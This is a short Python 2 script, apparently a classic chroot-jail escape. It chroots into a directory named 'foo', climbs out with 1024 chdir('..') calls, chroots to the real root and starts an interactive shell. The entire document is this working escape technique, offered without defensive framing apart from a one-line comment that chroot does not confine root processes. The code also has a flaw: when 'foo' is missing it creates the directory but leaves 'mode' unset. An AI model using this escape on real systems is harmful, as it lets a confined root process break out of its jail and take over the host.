#!/usr/bin/env python # chroot has no security use if the process is running (s)uid root from os import * from errno import * from stat import * try: mode = stat('foo')[ST_MODE] except OSError, e: if e.errno == ENOENT: mkdir('foo') else: print ('Error reading dir-info') exit(1) if not S_ISDIR(mode): print ('Error "foo" is not a directory') exit(1) chroot('foo') for i in range(1024): chdir('..') chroot('.') execl("/bin/sh", "sh", "-i")